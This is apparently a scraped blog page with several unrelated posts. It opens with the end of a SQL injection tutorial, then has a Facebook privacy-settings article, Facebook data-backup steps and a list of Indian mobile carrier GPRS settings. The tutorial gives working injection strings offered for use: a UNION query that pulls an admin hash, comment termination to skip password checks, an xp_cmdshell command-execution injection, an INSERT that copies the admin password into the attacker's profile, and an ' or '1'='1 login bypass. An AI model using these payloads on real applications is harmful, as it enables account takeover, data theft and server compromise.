This was just an extremely simplified version and you will probably need to learn a little SQL to fully understand. Here are a few SQL terms that do other things:
UNION: You use this to merge the results of one query with another. You may put things like SELECT after UNION in order to search other databases and stuff. Sometimes you may need to use ALL in conjuction to break out of certain clauses. It does no harm so when in doubt you could do something like:
” UNION ALL SELECT 0,”,’hash’ FROM otherDatabase WHERE userName=”admin
The key when using UNION is to make your new query return the same amount of columns in the same datatype so that you may get the results you want.
# This works sometimes to terminate the query so that it ignores to the rest of the stuff that might be fed afterwards if you don’t like it. For example:
SELECT * FROM userDatabase WHERE userName=”admin”;–” AND userPass=”aH0qcQOVz7e0s”
NOT IN: If you have no idea which record you want you could record cycle (you request vague info, and you put what you already got in the NOT IN clause so that you can get the next entry)
Usage:
SELECT userName userPass FROM userDatabase WHERE userName NOT IN (‘Dehstil’,'Twistedchaos’)
EXEC: This command should never work, but if it does…you win; you could do anything. For instance, you could inject something like this:
‘;EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:
All my examples so far have dealt with read processes. To manipulate a write process, here is an example for those who know what their doing:
INSERT INTO userProfile VALUES(”+(SELECT userPass FROM userDatabase WHERE userName=’admin’)+” + ‘Chicago’ + ‘male’)
This example would theoretically put the admins password in your profile… enjoy.
You are reading http://mycodelogic.blogspot.com
Example : select * from user where name='abc' and password ='abc' or '1'='1'
Here String  --> ' or '1'='1  is a SQL attack .
[Read More...]


Important things to know about Facebook’s new settings






Facebook has begun rolling out its new privacy settings to all of its 350 million users. If you haven’t seen it already, you will soon have to go through a wizard that will guide you through the process of confirming your privacy settings.
The new settings are supposed to make it easier and simpler to control your information, but the changes are drawing a mix of criticism and praise from privacy watchdogs such as the Electronic Frontier Foundation, the American Civil Liberties Union of Northern California and the Electronic Privacy Information Center.
The new privacy controls include some great changes, and some not-so-great changes, but here are five privacy issues you should know about as these settings roll out across Facebook.

Search settings
When I checked my search settings this morning, the option to index my profile by public search engines had been turned on. This is despite the fact that I had explicitly turned off this setting when Facebook launched public search listings two years ago.
If you don’t want search engines like Google and Bing to index your profile, do yourself a favor and make sure those settings are still set the way you want them to be. To adjust your search privacy settings click on Settings>Privacy Settings>Search. If the “Allow indexing” box is checked thensearch engines will be able to index your information.
Password protection layer: Not so good
Facebook has added a new layer of protection for changing your privacy settings. Under the new policy you will have to enter your password whenever you want to change your privacy settings. This is a smart move, and quite a common policy with other Web services.
But in my tests, this extra protection did not work very well at all. Once I had chosen to exclude my Facebook profile from publicsearch engines , I left my privacy settings page and returned to my profile (your settings are saved automatically). But when I went back to my privacy settings, the pages were wide open with no password requirement.
I tested this out on several browsers and operating systems, I also signed out and back in several times to see if that would change anything. But each time I checked my security settings were wide open. The password protection eventually came back after half an hour or so, but that was far too long. The password requirement should come back automatically or Facebook should be telling you that this setting is set to time out.
PAI changes
Facebook is also changing what it deems to be publicly available information (PAI), with almost no recourse for the user to control this — a change that does not sit well with the EFF. Information under the PAI umbrella includes your profile picture, friends list (Facebook says the view friends link has been removed from search results), fan pages, gender, geographic region and networks (school, work, etc.). There is almost no recourse to protect any of thisinformation.
To illustrate how important this setting could be, the EFF points out that you may belong to a fan page that supports or condemns gay marriage. Since this is such a controversial issue, that may be a position you are not willing to share with co-workers, fellow church members, or other Facebook friends.
Friends list
Although your friends list is technically under the PAI umbrella, you can still control who sees it. But controls for this information are found on your Facebook profile page — not your privacy settings. If you want to restrict who sees your friends list within Facebook, click on the pencil icon next to your Friends widget belowyour profile picture, and uncheck the box that says “Show my friends on my profile.”
Other information you can remove from your profile page includes your gender and current city.
Hyper control
While Facebook is taking away some control over publicly available information, you are getting extreme control over other parts of your Facebook profile. Now you can restrict who sees your shared content on a per-post basis. Don’t want certain friends to see your latest update? No problem. Need to keep those photos of you at the bar away from your co-workers? You can do that too.
Facebook’s new privacy settings are a mixed bag of better and simpler controls over some information, while loosening the restrictions on others. Of course, if you don’t want some of that information to appear, you can always delete it from Facebook (you cannot delete your gender, but you can make it invisible).
Facebook’s privacy controls may not be perfect, but they will urge users to think even harder about what they’re sharing on Facebook, and ultimately that may be a good thing.
[Read More...]


Backup your Facebook Account, Download everything including wall posts, messages and friends list!




Backup your Facebook Account, Download everything that you shared on FB including wall posts, messages and friends listJust got to know that you can now take a backup of your facebook account. this includes your photos and videos, posts on your wall, all of your messages, your friends list and other content you have shared on your profile. once you request for the download, facebook will allow you to download all your Data in a zip file. After downloading you will have access to your data in a simple, browseable manner. To Get your Zip file just go to your Account Settings page, then click the “learn more” link beside “Download Your Information.
https://register.facebook.com/editaccount.php
After You click ‘Download’ button, facebook will send you an email asking you to verify your identity (This may take a little while) and then You will receive an email when your Zip file is ready for download. Do take your Backup. this will be really useful incase your account gets hacked or canceled in future.
Your file will include the following information:
  • Your profile information (e.g., your contact information, interests, groups)
  • Wall posts and content that you and your friends have posted to your profile
  • Photos and videos that you have uploaded to your account
  • Your friend list
  • Notes you have created
  • Events to which you have RSVP’d
  • Your sent and received messages
  • Any comments that you and your friends have made on your Wall posts, photos, and other profile content
[Read More...]


Airtel idea bsnl vodafone Reliance.. all network default manual setting




FIRST YOU HAVE TO KNOW
ABT ALL GPRS SETTING HERE
THEY ARE:

HERE IS AIRTEL IDEA BSNL VODAFONE ALL NETWORK DEAFULT MANUAL SETTING

AIRTEL MANUAL GPRS
SETTINGS AIRTEL LIVE
PROXY AND SERVER ADRESS – 100.1.200.99 ACCESPOINT NAME – AIRTELFUN.COM
MOBILE OFFICE
PROXY – DISABLED/NO ACCESPOINT NAME – AIRTELGPRS.COM

IDEA MANUAL GPRS
SETTINGS IDEA GPRS
PROXY AND SERVER PORT – 8080
PROXY AND SERVER
ADRESS – 10.4.42.45 DATABEARER – GPRS / PACKETDATA
ACCES POINT NAME – IMIS IDEA INTERNET:
PROXY – DISABLED/NO ACCESPOINT NAME – INTERNET

VODAFONE GPRS SETTINGS VODAFONE GPRS
PROXY ADDRESS:
10.10.1.100
PROXY PORT: 9401 OR
9201
DATA BEARER: PACKET DATA
PACKET DATA ACCESS POINT : PORTALNMMS VODAFONE INTERNET
PROXY – DISABLED/NO ACCESPOINT NAME – WWW

TATA DOCOMO MANUAL GPRS SETTINGS TATA DOCOMO DIVE IN
PROXY AND SERVER PORT – 8080
PROXY AND SERVER
ADRESS – 10.124.94.7 DATABEARER – GPRS / PACKETDATA
ACCES POINT NAME – TATA.DOCOMO.DIVE.IN
DOCOMO INTERNET
PROXY - DISABLED / NO
DATABEARER – GPRS / PACKETDATA
ACCES POINT NAME – TATA.DOCOMO.INTERNET

RELIANCE GSM GPRS
SETTINGS RELIANCE GSM WAP
SETTING
PROXY SERVER ADDRESS :
010.239.221.005OR
10.239.221.22
PORT : 8080 APN : RCOMWAP OR RCOMMMS
RELIANCE GSM RCOMNET
SETTING
ACCOUNT NAME-
RCOMNET
APN-RCOMNET


BSNL GPRS SETTINGS 1] BSNLLIVE APN = BSNLLIVE
IP = 10.220.67.131
PORT = 8080
2] BSNLMMS APN = BSNLMMS
IP = 10.210.10.11
PORT = 8080
3] BSNLNET APN = BSNLNET
IP = NONE
PORT = NONE UNINOR MANUAL GPRS
SETTINGS PROXY AND SERVER PORT – 8080
PROXY AND SERVER
ADRESS –10.58.10.58 DATABEARER – GPRS / PACKETDATA
ACCES POINT NAME –

UNINOR VIDEOCON GPRS SETTINGS APN : VINTERNET.COM
VIDEOCON WAP
APN : VGPRS.COM
PROXY SERVER :
10.202.5.145
PROXY PORT : 8799 IF YOY WANT TO ADD
THEN YOU CAN ADD
MORE .BUT I THINK
THIS IS SUFFICIENT
FOR ALL TRICKS!

[Read More...]



Send mail to your Friends.  

Expert Feed

 
Return to top of page Copyright © 2011 | My Code Logic Designed by Suneel Kumar